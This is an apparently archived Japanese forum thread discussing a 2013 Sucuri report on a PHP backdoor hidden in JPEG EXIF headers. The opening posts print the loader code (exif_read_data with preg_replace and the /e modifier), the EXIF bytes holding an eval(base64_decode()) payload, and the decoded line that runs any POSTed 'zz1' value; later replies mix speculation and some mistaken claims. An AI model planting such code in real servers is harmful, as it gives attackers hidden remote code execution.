【注意喚起】 JPEG画像のEXIFヘッダにマルウェアを隠して実行させる新しい手口が登場

このエントリーをはてなブックマークに追加
1 バリニーズ(千葉県)

JPEG画像のEXIFヘッダに隠された仕掛けられたマルウェアを、Sucuri Research Labの調査チームが発見しました。
このマルウェアはPHPの機能を用いてEXIFヘッダを読み込ませ、自らを実行させるようになっていました。

Malware Hidden Inside JPG EXIF Headers
ttp://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
http://i.gzn.jp/img/2013/07/17/malware-hidden-jpeg-exif-header/sucuri.png

Sucuri Research Labのチームは攻撃サイト認定されたサイトでこのマルウェアを発見しました。
通常、バックドアはBASE64変換やgzip圧縮で身を隠しますが、このマルウェアはJPEG画像のEXIFヘッダに隠されていて、
PHPの機能を用いて実行されるようになっています。

まず、サイト内で見つかったコードがコレ、バックドアの第1のパーツとなる部分です。

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

デジタルカメラやスマートフォン、携帯電話で写真を撮ると、撮影日時や撮影時のカメラの設定などの情報が写真に記録されます。
これがEXIF情報(EXIFデータ)と呼ばれるもので、上記コード中に出てくる「exif_read_data」というのは
JPEG画像やTIFF画像に含まれているEXIF情報を読み込むためのもの。

2行目にある「preg_replace」というのは正規表現検索と置換を行う機能。

いずれの機能も単独であれば無害なものですが、「preg_replace」には「/e」という修飾子をつけたとき、
検索・置換の代わりにコンテンツを実行することができるオプションがあります。
(続く)
http://gigazine.net/news/20130717-malware-hidden-jpeg-exif-header/
2 バリニーズ(千葉県):2013/07/17(水) 23:30:48.83 ID:J+ZP1lQFP
>>1の続き

続いて、調査チームは「bun.jpg」のEXIFデータ内にバックドアの第2のパーツを見つけました。それがコレ。

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@!Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^

ファイルというのは通常、同じ種類のものであれば共通のヘッダで始まるもので、1行目の最初の方にある「JFIF」は
このファイルがJPEG画像(JFIF形式のファイル)であることを示しています。

この先を見ていくとEXIF情報が格納されているわけですが、bun.jpgの場合、「Make(メーカー名)」部分には
「"/.*/e".」というワードが含まれていました。このワードは上述の「preg_replace」で、渡されたものをすべて実行するための修飾子として用いられるもの。
さらに見ていくと、「Model(機種名)」部分には「"eval ( base64_decode"」というのが隠れているのが見つかりました。
攻撃者はこの2つの項目と「preg_replace」を利用し、バックドアを作っていたというわけです。

サイト内にあったバックドアの第1のパーツに、コードが実行されることでJPEG画像から
第2のパーツが読み込まれて、最終的に生み出されるのが以下のコード。

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

そして、これをデコードした結果がコレ。変数zz1としてPOSTされた内容をいかなるものでも実行するという内容だった、というわけ。

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

Sucuri Researchではこれを「電子透かしマルウェア」と呼び、上記のコードで使われていたbun.jpgにしてもその他のイメージにしても、
攻撃サイトとして認定されたサイト上にあるイメージはちゃんと読み込みが可能になっているところが面白いとコメント。
こういったものであっても、自社が提供しているServer Side Scanningであれば検出可能だとアピールしています。
3 アフリカゴールデンキャット(千葉県):2013/07/17(水) 23:31:15.67 ID:FLGbBYEs0
マルウェア、コマしたれ
4 ロシアンブルー(新潟県):2013/07/17(水) 23:32:21.76 ID:CXTC7CoWP
@^A^@
5 ウンピョウ(埼玉県):2013/07/17(水) 23:35:49.30 ID:itS6rH1S0
まあにしもよく考えつくな
6 ヨーロッパヤマネコ(愛知県):2013/07/17(水) 23:37:37.77 ID:fC3tibnf0
もうエロサイト見れないな
7 しぃ(神奈川県):2013/07/17(水) 23:38:40.96 ID:AM54V2xQ0
角ウェアはないのかね
8 ピューマ(群馬県):2013/07/17(水) 23:38:44.41 ID:1ax1cOcH0
これ被害にあうのはサーバーサイドだろ?
9 アメリカンボブテイル(西日本):2013/07/17(水) 23:41:47.41 ID:3Q4hnUIL0
P2ユーザーは?
10 エジプシャン・マウ(西日本):2013/07/17(水) 23:47:45.24 ID:4py3iuU7O
特定スレが捗るな
11 マーゲイ(新疆ウイグル自治区):2013/07/17(水) 23:53:33.12 ID:iZ88CELw0
jpgになんか仕込まれててもいまさら驚きはしない
12 マーブルキャット(大阪府):2013/07/17(水) 23:56:58.62 ID:z/HrBw770
次から次へといろんな手法よく考えるな
13 アメリカンボブテイル(dion軍):2013/07/17(水) 23:57:43.94 ID:xw0dV/EQ0
2chブラウザとかヤバいの?
14 マーブルキャット(三重県):2013/07/18(木) 00:00:29.64 ID:R//HJgcR0
exif自体がアメリカが情報収集に使うためじゃねーの?
いらないだろあれ
15 三毛(新疆ウイグル自治区):2013/07/18(木) 00:00:59.33 ID:JB8AVjkAP
>>2
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^


^A^
^D^
^@^
^@^@yi

何だこいつケンカ売ってんのかこら
16 セルカークレックス(佐賀県):2013/07/18(木) 00:02:17.13 ID:uefajCs20
「preg_replace」には「/e」という修飾子をつけたとき、
検索・置換の代わりにコンテンツを実行することができるオプションがあります。

なんでこんな糞機能つけたん?
17 ヒョウ(新疆ウイグル自治区):2013/07/18(木) 00:02:29.80 ID:zx8aGsWL0
png最強伝説
18 ジョフロイネコ(dion軍):2013/07/18(木) 00:02:45.23 ID:urrSfN5K0
jpgも危険になる時代がきたか
19 ボブキャット(神奈川県):2013/07/18(木) 00:03:48.31 ID:6R9Rrspi0
正規表現には演算機能が無いから足し算引き算などが出来ない。
そういうのを補うためにコードの実行等が出来るようになっている。
20 スフィンクス(大阪府):2013/07/18(木) 00:04:50.19 ID:95ZWvyco0
jpgさんが(´;ω;`)
21 ベンガル(やわらか銀行):2013/07/18(木) 00:05:15.02 ID:aLQrUT3p0
何かを実行させるとか危険なオプション付けるなよ
22 猫又(やわらか銀行):2013/07/18(木) 00:05:31.11 ID:9Mmq5/fT0 BE:20408832-PLT(12011)
23 ターキッシュバン(家):2013/07/18(木) 00:09:48.94 ID:xh60yygn0
よく分からないんだけど、これに感染したら具体的にどういう被害に遭うの?
24 ピクシーボブ(芋):2013/07/18(木) 00:10:30.33 ID:P/dN6ybxP
Macだから問題ない
25 クロアシネコ(関東・東海):2013/07/18(木) 00:10:58.91 ID:rrAA7YrPO
jpg恐れるお友達の代わりに、俺ちゃんがリンク踏みまくってやんYO!www
やっぱりガラケー最強やんwwwwww
26 ベンガルヤマネコ(三重県):2013/07/18(木) 00:12:26.64 ID:dm3IPzo90
rarにも仕込めるんだよな
たしか
27 マヌルネコ(滋賀県):2013/07/18(木) 00:19:02.07 ID:Eu6eExfP0
なんかワロタwwwww
28 ユキヒョウ(大阪府):2013/07/18(木) 00:20:01.54 ID:hsBJNHWI0
セキュリティソフト対策もくぐり抜けるの?
29 メインクーン(東京都):2013/07/18(木) 00:20:59.51 ID:NKuScqlA0
^A^
30 アビシニアン(関東・東海):2013/07/18(木) 00:27:37.24 ID:y8JjMdk+O
安全メモ

・画像を開く前に、「バイナリエディタ」で画像のヘッダーを確認しましょう

・Jpegヘッダーを取り除くフリーウェアもあるから、ヘッダーを消しちゃいましょう。
31 カナダオオヤマネコ(千葉県):2013/07/18(木) 00:30:58.04 ID:3HJeQROt0
PHP研究所最低だな
32 アメリカンショートヘア(大阪府):2013/07/18(木) 00:34:58.12 ID:kfCDYiEg0
注意すべき点何?
33 ジャガーネコ(中国地方):2013/07/18(木) 00:56:43.42 ID:+GMr0Nkz0
これってjpg開いたら掲示板に書き込むとかできるの?
34 アフリカゴールデンキャット(東京都):2013/07/18(木) 01:02:14.53 ID:MGeUtbwE0
>>16
perl由来
35 ボブキャット(神奈川県):2013/07/18(木) 01:05:43.13 ID:wHuGnweS0
任意のPHPコードを追加出来るってことだからサーバにとっても危険だよなぁ。
36 ラ・パーマ(東京都):2013/07/18(木) 01:56:50.58 ID:fdcGPHYP0
第一のパーツは、他の何かで突っ込むのかな
37 ぬこ(チベット自治区):2013/07/18(木) 02:29:27.76 ID:PyyUKMza0
こんな詳しく説明したらみんな真似しちゃうだろ!
38 ピクシーボブ(関西・北陸):2013/07/18(木) 06:57:32.35 ID:o0dCiAPgP
ガラケー最強伝説
39 スミロドン(チベット自治区):2013/07/18(木) 07:03:15.24 ID:QoLmz/bp0
やはりpngが最強だったか
40 しぃ(新疆ウイグル自治区):2013/07/18(木) 07:13:25.24 ID:yNGSa7+y0
最近スマホの壁紙がよくわからん画像に置き換わってる事が
あるんだけど気のせいだな
41 アメリカンカール(愛知県):2013/07/18(木) 07:40:30.34 ID:a+4OQ4we0
最近PCが重い!

├ 1.PCを掃除する
│                              
│    [まちがい]                         
│      確実な方法ではありますが、手間がかかるのが難点です。
│      それよりも別の手段を探してみませんか?
│      ちょっとしたフリーウェアでなんとかなるかも?
│              ↑
│          ココがポイント!

└ 2.RegSeekerを使う

      [せいかい]
42 アムールヤマネコ(東日本):2013/07/18(木) 08:12:11.86 ID:5mZ99IS30
で、ポストする先は?ローカルを如何こうするワケじゃなく、外部へ何をポストする?
43 アメリカンショートヘア(千葉県):2013/07/18(木) 08:21:53.84 ID:LqJpV3UI0
^O^A^
44 ピクシーボブ(愛知県):2013/07/18(木) 11:39:17.29 ID:+3mHymSkP
よく分からんな。

任意のPHPコードが実行されるって被害を受けるのはサーバさろ。
バックドアである第1のパーツを仕込んでる時点でそのサーバは操作されてる訳で
こんな面倒なことする必要がないと思うが。

アクセス者からしてみれば信用してないサイトにXSSの問題が有るだけだろ。
信頼されてないサイトにXSSの問題が有ろうがどうでもいいことだ。
45 キジ白(関西・東海):2013/07/18(木) 11:41:38.57 ID:3mgYkVwG0
ふはは!我がP901iSは永久に不滅じゃ!
46 キジ白(関東・甲信越):2013/07/18(木) 12:40:48.33 ID:PSsP1sgX0
ゆうちゃんのアレみたいに、こんなフリーソフト作ったよ使ってみて
みたいな感じで個人のPCで実行されたら
知らない内に変なプログラム実行されてあんな事やこんな事されちゃうの?><
新しい画像ビューワ作ったから使ってみて意見下さい、とか
画像処理を高速化するために実行するコードを許可して下さいみたいな前置きしてさ
47 ヒマラヤン(広島県):2013/07/18(木) 15:44:18.96 ID:kGQYhFXA0
割と最近imgur荒しが湧いてたじゃん
あそこら辺で、画像にも仕込むことが出来るらしいっていう理解は進んだけど
怖いわあ
48 ベンガルヤマネコ(三重県):2013/07/18(木) 17:49:07.43 ID:dm3IPzo90
>>47
何それ?
imgurってexif消すから起きないと思うんだけど違うの?
49 アムールヤマネコ(家):2013/07/18(木) 21:45:03.27 ID:DzmIb7/Z0
50 アメリカンワイヤーヘア(dion軍):2013/07/18(木) 23:37:29.00 ID:7aq2MXQb0
実例はないの
51 マンクス(静岡県):2013/07/18(木) 23:40:44.42 ID:OTM3KeVR0
ん?
52 カラカル(関東・甲信越):2013/07/18(木) 23:41:59.11 ID:i1KrKjPrO
で、俺は何から質問したらいいんだ?
53 スナネコ(大阪府):2013/07/18(木) 23:44:38.32 ID:KKWJEps80
ブラウザで読み込んだ瞬間死亡なの?
54 リビアヤマネコ(東京都):2013/07/18(木) 23:48:09.95 ID:kjJqy1O60
俺、古い画像処理ソフト持ってるからDLしたらそれで開いて再保存すれば
EXIFヘッダースルーで読み込んで保存時に消えるから、回避出来そう
55 ヨーロッパオオヤマネコ(WiMAX):2013/07/19(金) 00:05:39.11 ID:FGSIJ9TU0
>>53
たぶん
56 アムールヤマネコ(三重県):2013/07/19(金) 00:18:00.37 ID:vAC/fCe40
フォトショやGIMPで開いても死亡なん?
57 ジャガーネコ(大阪府):2013/07/19(金) 00:20:04.81 ID:LjShImuZ0
>>56
phpっていうサーバサイドの機能で実行するから
フォトショやGIMPには実行する方法がないから無害
58 ロシアンブルー(東京都):2013/07/19(金) 00:23:30.48 ID:jHOadvdf0
>>55
分かっているとは思うけど、死亡するのはサーバ側だよ。
preg_replaceのeオプションで実行されるのはサーバ側。
実行結果を送信してクライアントが受け取ったとしても、
JPEG表示は散々ここら辺の穴をやられまくってきたので対策が進んでいて、
普通に画像を表示するか、エラー表示をするかのどちらかで済むと思っていい。
59 トンキニーズ(滋賀県):2013/07/19(金) 00:40:57.36 ID:oFke9Te80
麻呂が死んじゃう!
(1)どこかのPHPスクリプト内に第1のパーツを仕込む
(2)同じサーバー上に第2のパーツを仕込む
(3)第1のパーツを仕込んだPHPスクリプトをこっそり実行する(その時に任意のコードをPOSTする)

第1のパーツを仕込んだスクリプトは、普段は実行しても無害なんだけど、
zz1という変数名で値をPOSTした時だけはバックドアとして機能すると

こういう方法もあるんだね・・
61 ブリティッシュショートヘア(東京都):2013/07/19(金) 05:58:00.97 ID:iz0HRC+kP
画像は仕込めてもPHPスクリプトはどうやって相手のサーバーに
仕込むの?

それが出来てたらもう既にいろんなことできてないの?
62 ベンガル(岡山県):2013/07/19(金) 08:32:23.95 ID:8hILK3Ql0
中国の画像とか危なそう
63 ギコ(東日本):2013/07/19(金) 09:01:44.89 ID:vR8F58OP0
なんか必死に騒ぎを大きくしたい、ローカルに話を持って行きたい奴らが居るのね?w。
64 サーバル(兵庫県):2013/07/19(金) 11:24:16.86 ID:0+6OyN5/0
デジタルカメラやスマートフォン、携帯電話で写真を撮ると、撮影日時や撮影時のカメラの設定などの情報が写真に記録されます。
これがEXIF情報(EXIFデータ)と呼ばれるもので、

素でこれいらないのに何で記録されんの?
65 バーマン(愛知県)
.jpg
.jpe
.jpeg

統一しろよ
昔は一部だけ開けないソフトもあった